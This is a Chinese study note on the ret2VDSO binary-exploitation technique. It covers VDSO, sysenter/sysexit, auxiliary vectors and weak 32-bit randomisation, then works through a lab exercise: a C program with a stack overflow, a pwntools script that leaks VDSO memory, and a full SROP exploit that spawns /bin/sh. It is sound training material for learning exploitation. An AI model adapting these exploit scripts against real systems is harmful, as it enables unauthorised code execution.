ret2VDSO


看雪 pwn 探索篇的学习笔记

前言

ret2vdso 这种题型还是比较少的,利用方法也是比较固定模板化。简单了解一下即可。

vdso 简介

传统的int 0x80有点慢,所以 Intel 和 AMD 分别实现了sysenter/sysexitsyscall/ sysret,即所谓的快速系统调用指令,使用它们更快,但是也带来了兼容性的问题。于是 Linux 实现了vsyscall,程序统一调用vsyscall, 具体的选择由内核来决定。而vsyscall的实现就在 VDSO(Virtual Dynamically-linked Shared Object) 中。可以把 VDSO看成一个.so动态库链接文件,不同的内核,VDSO 的内容也是不同的,VDSO 将内核态的调用映射到用户态的地址空间中,可以大量减少这样的开销,同时也可以使路径更好。VDSO 中存在 syscall ; ret 。相比于栈和其他的ASLR,VDSO 的随机化非常的弱,对于 32 位的系统来说,有1/256的概率命中,这正好可以作为我们的利用点。可以通过find / -name '*vdso*.so*'命令来寻找VDSO

接下来以 intel 为例讲解 VDSO 的利用过程:

  • sysenter 指令可用于 Ring3 的用户代码调用 Ring0 的系统内核代码,而 sysexit 指令则用于 Ring0 的系统代码返回用户空间中。

  • 执行 sysenter 指令的系统必须满足两个条件:

    • 目标 Ring0 代码段必须是平坦模式(Flat Mode)的 4GB 的可读可执行的非一致代码段。
    • 目标 Ring0 堆栈段必须是平坦模式(Flat Mode)的 4GB 的可读可写向上扩展的栈段。
  • sysenter指令并不一定成对,sysenter指令并不会把sysexit所需的返回地址压栈,sysexit返回的地址并不一定是sysenter指令的下一个指令地址。调用sysenter/sysexit指令地址的跳转是通过设置一组特殊寄存器实现的。这些寄存器包括:

    • SYSENTER_CS_MSR - 用于指定要执行的 Ring 0 代码的代码段选择符,由它还能得出目标 Ring 0 所用堆栈段的段选择符;
    • SYSENTER_EIP_MSR - 用于指定要执行的 Ring 0 代码的起始地址;
    • SYSENTER_ESP_MSR-用于指定要执行的 Ring 0 代码所使用的栈指针;
  • 这些寄存器可以通过 wrmsr 指令来设置,执行 wrmsr 指令时,通过寄存器 edx、eax 指定设置的值,edx 指定值的高 32 位,eax 指定值的低 32 位,在设置上述寄存器时,edx 都是 0,通过寄存器 ecx 指定填充的 MSR 寄存器,sysenter_CS_MSR、sysenter_ESP_MSR、sysenter_EIP_MSR 寄存器分别对应 0x174、0x175、0x176,需要注意的是,wrmsr 指令只能在 Ring 0 执行。

  • 这里还要介绍一个特性,就是 Ring0、Ring3 的代码段描述符和堆栈段描述符在全局描述符表 GDT 中是顺序排列的,这样只需知道 SYSENTER_CS_MSR 中指定的 Ring0 的代码段描述符,就可以推算出 Ring0 的堆栈段描述符以及 Ring3 的代码段描述符和堆栈段描述符。

  • 在 Ring3 的代码调用了sysenter指令之后,CPU 会做出如下的操作:

  1. 将 SYSENTER_CS_MSR 的值装载到 cs 寄存器
  2. 将 SYSENTER_EIP_MSR 的值装载到 eip 寄存器
  3. 将 SYSENTER_CS_MSR 的值加 8(Ring0 的堆栈段描述符)装载到 ss 寄存器。
  4. 将 SYSENTER_ESP_MSR 的值装载到 esp 寄存器
  5. 将特权级切换到 Ring0
  6. 如果 EFLAGS 寄存器的 VM 标志被置位,则清除该标志
  7. 开始执行指定的 Ring0 代码
  • 在 Ring0 代码执行完毕,调用 SYSEXIT 指令退回 Ring3 时,CPU 会做出如下操作:
  1. 将 SYSENTER_CS_MSR 的值加 16(Ring3 的代码段描述符)装载到 cs 寄存器
  2. 将寄存器 edx 的值装载到 eip 寄存器
  3. 将 SYSENTER_CS_MSR 的值加 24(Ring3 的堆栈段描述符)装载到 ss 寄存器
  4. 将寄存器 ecx 的值装载到 esp 寄存器
  5. 将特权级切换到 Ring3
  6. 继续执行 Ring3 的代码
  • 由此可知,在调用 SYSENTER 进入 Ring0 之前,一定需要通过 wrmsr 指令设置好 Ring0 代码的相关信息,在调用 SYSEXIT 之前,还要保证寄存器edx、ecx 的正确性。

利用

  1. 泄露出 VDSO
  2. 利用 VDSO 进行 ROP
  3. 32位系统中,vsyscall其参数传递方式和int 0x80是一样的,但是需要先做好栈帧,push ebp ; mov ebp, esp,以及需要找到一个好的Gadget来做Stack Pivot

获取VDSO

  • 关于 AUXV

首先了解一下 LD_SHOW_AUXV 环境变量,该环境变量能够通知程序加载器来展示程序运行时的辅助向量。辅助向量是放在程序栈(通过内核的 ELF 常规加载方式)上的信息,附带了传递给动态链接器的程序相关的特定信息。不过这些信息对于反编译和调试来说非常有用。例如,要想获取进程镜像 VDSO 页的内存地址(也可以使用 maps 文件获取,之前介绍过),就需要查询AT_SYSINFO

下面是一个带有LD_SHOW_AUXV辅助向量的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

$ LD_SHOW_AUXV=1 whoami
AT_SYSINFO: 0xb7779414 # vsyscall 的地址,用于加速常见系统调用
AT_SYSINFO_EHDR: 0xb7779000 # vsyscall 页面 ELF 头文件的地址
AT_HWCAP: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2
# CPU 支持的硬件特性(扩展指令集)
AT_PAGESZ: 4096 # 系统内存页大小(4KB)
AT_CLKTCK: 100 # 时钟周期频率(100 Hz)
AT_PHDR: 0x8048034 # 程序的程序头表地址
AT_PHENT: 32 # 程序头表中每个条目大小(32 字节)
AT_PHNUM: 9 # 程序头表中条目数(9 个)
AT_BASE: 0xb777a000 # 动态链接器基地址
AT_FLAGS: 0x0 # 没有额外标志(值为 0)
AT_ENTRY: 0x8048eb8 # 程序入口地址
AT_UID: 1000 # 用户标识符(UID)
AT_EUID: 1000 # 有效用户标识符(EUID)
AT_GID: 1000 # 组标识符(GID)
AT_EGID: 1000 # 有效组标识符(EGID)
AT_SECURE: 0 # 安全模式状态(值为 0,表示非安全模式)
AT_RANDOM: 0xbfb4ca2b # 指向随机值的地址(用于安全功能)
AT_EXECFN: /usr/bin/whoami # 当前执行的程序路径
AT_PLATFORM: i686 # CPU 平台(i686,32 位 x86 架构)
elfmaster分析

通过 gdb 可以查看程序中的辅助向量。

  • 辅助向量

通过系统调用sys_execve()将程序加载到内存中时,对应的可执行文件会被映射到内存的地址空间,并为该进程的地址空间分配一个栈。这个栈会用特定的方式向动态链接器传递信息。这种特定的对信息的设置和安排即为辅助向量(auxv)。栈底(在 x86 体系结构中,栈的地址是往下增长的,因此栈底是栈的最高址)存放了以下信息:
[argc][argv][envp][auxiliary][.ascii data for argv/envp]

辅助向量是一系列ElfN_auxv_t的结构:

1
2
3
4
5
6
7
8
typedef struct
{
    uint64_t a_type; /* Entry type */
    union
    {
        uint64_t a_val; /* Integer value */
    } a_un;
} Elf64_auxv_t;

a_type指定了辅助向量的条目类型,a_val为辅助向量的值。下面是动 态链接器所需要的一些最重要的条目类型:

1
2
3
4
5
6
7
#define AT_EXECFD  2  /* File descriptor of program */
#define AT_PHDR 3 /* Program headers for program */
#define AT_PHENT 4 /* Size of program header entry */
#define AT_PHNUM 5 /* Number of program headers */
#define AT_PAGESZ 6 /* System page size */
#define AT_ENTRY 9 /* Entry point of program */
#define AT_UID 11 /* Real uid */

动态链接器从栈中检索可执行程序相关的信息,如程序头、程序的入口地址等。上面列出的只是从/usr/include/elf.h 中挑选出的几个辅助向量条目类型。辅助向量是由内核函数 create_elf_tables()设定的,该内核函数在 Linux 的源码/usr/src/linux/fs/binfmt_elf.c 中。

事实上,内核的执行过程跟下面的描述类似。

1.sys_execve() →.
2.调用 do_execve_common() →.
3.调用 search_binary_handler() →.
4.调用 load_elf_binary() →.
5.调用 create_elf_tables() →.

下面是/usr/src/linux/fs/binfmt_elf.c中的函数create_elf_tables()的代码,这段代码会添加辅助向量条目:

1
2
3
4
5
6
NEW_AUX_ENT(AT_PAGESZ, ELF_EXEC_PAGESIZE);
NEW_AUX_ENT(AT_PHDR, load_addr + exec->e_phoff);
NEW_AUX_ENT(AT_PHENT, sizeof(struct elf_phdr));
NEW_AUX_ENT(AT_PHNUM, exec->e_phnum);
NEW_AUX_ENT(AT_BASE, interp_load_addr);
NEW_AUX_ENT(AT_ENTRY, exec->e_entry);

可以看到,ELF 的入口点和程序头地址,以及其他的值,是与内核中的NEW_AUX_ENT()宏一起入栈的。程序被加载进内存,辅助向量被填充好之后,控制权就交给了动态链接器。动态链接器会解析要链接到进程地址空间的用于共享库的符号和重定位。默认情况下,可执行文件会动态链接 GNU C 库libc.soldd命令能显示出一个给定的可执行文件所依赖的共享库列表。

获取 VDSO 的方法:

  1. 暴力破解
  2. 通过泄漏
    • 使用 ld.so 中的 _libc_stack_end 找到 stack 真实位置,计算 ELF Auxiliary Vector Offset 并从中取出 AT_SYSINFO_EHDR
    • 使用 ld.so 中的 _rtld_global_ro 的某个 Offset 也有 VDSO 的位置。
    • 尤其注意的是在开了 ASLR 的情况下,VDSO 的利用是有一定优势的
      • 在 x86 环境下:只有一个字节是随机的,所以我们可以很容易暴力解决;
      • 在 x64 环境下:在开启了 PIE 的情形下,有 11 字节是随机的,例如:CVE-2014-9585。但是在 Linux 3.182.2 版本之后,这个已经增加到了 18 个字节的随机

例题

以上内容都是课程的文档,比较难理解。通俗来说就是程序运行同样会加载 VDSO 文件到内存中,而 VDSO 中存在可以利用的 gadget。并且 32 位系统的 VDSO 随机化是非常弱的,我们可以通过暴力破解的方式获取到。然后就可以利用 VDSO 中的 gadget 来进行 SROP,然后就可以 getshell。

一般出 ret2vdso 的题目是直接使用汇编出的,gadget 非常少。但是这里我们只是学习如何利用,这里就直接拿课程中的题目来学习了。虽然这题其实不仅仅可以这样解。

  • 源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <unistd.h>

char buf[10] = "/bin/sh\x00";

void pwnme() {
char s[0x100];
char *welcome = "> ";
write(1, welcome, 2);
read(0, s, 0x400);
}

int main() {
pwnme();
return 0;
}
  • 反编译分析

很明显存在栈溢出漏洞,溢出长度为110

  • 获取 vdso

先关掉 ASLR 随机化,然后运行脚本 dump vdso文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
import random
import time

context(arch='i386', os='linux')
elf = ELF("./ret2vdso_x32")
RANGE_VDSO = range(0xf7fc4000, 0xf7fc6000, 0x1000)
#0xf7fc4000 0xf7fc6000 r-xp 2000 0 [vdso]
while(True):
try:
sh = process(elf.path)
#vdso_addr = random.choice(RANGE_VDSO)
vdso_addr = 0xf7fc4000
sh.recvuntil(b'> ')
#利用栈溢出及泄露函数泄露内存
sh.send(b'a' * 0x110 +
p32(elf.symbols['write']) +
p32(0) +
p32(1) + # fd
p32(vdso_addr) + # buf
p32(0x2000) # count
)

result = sh.recvall(0.1)
if(len(result) != 0):
open('vdso.so', 'wb').write(result)
sh.close()
log.success("Success")
exit(0)
sh.close()
except Exception as e:
sh.close()

objdump 反汇编 dump 的 vdso 文件,获取到其中的关键 gadget。

接下来我们就可以通过sigreturn打 SROP 了,最后动态调试一下查看一下需要恢复的段寄存器值。

然后查找一下程序中有没有/bin/sh字符串。

最后构造 exp 就行了。

  • exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python3
from pwn import *

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
ia = lambda: io.interactive()
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('./ret2vdso_x32')
io = process([elf.path])
context(os=elf.os, arch=elf.arch, log_level='debug')

bin_sh_addr = 0x0804C020
bss_addr = 0x0804C02A
vdso_addr = 0xf7fc4000

lg('Try vdso',vdso_addr)

frame = SigreturnFrame(kernel="i386")
frame.eax = constants.SYS_execve
frame.ebx = bin_sh_addr
frame.eip = vdso_addr + 0x566 # 中断地址
frame.esp = bss_addr
frame.ebp = bss_addr
frame.gs = 99
frame.cs = 35
frame.es = 43
frame.ds = 43
frame.ss = 43

ret_addr = vdso_addr + 0x561 # sigreturn 地址

payload = flat([cyclic(0x10c+4), ret_addr, frame])
s(payload)

ia()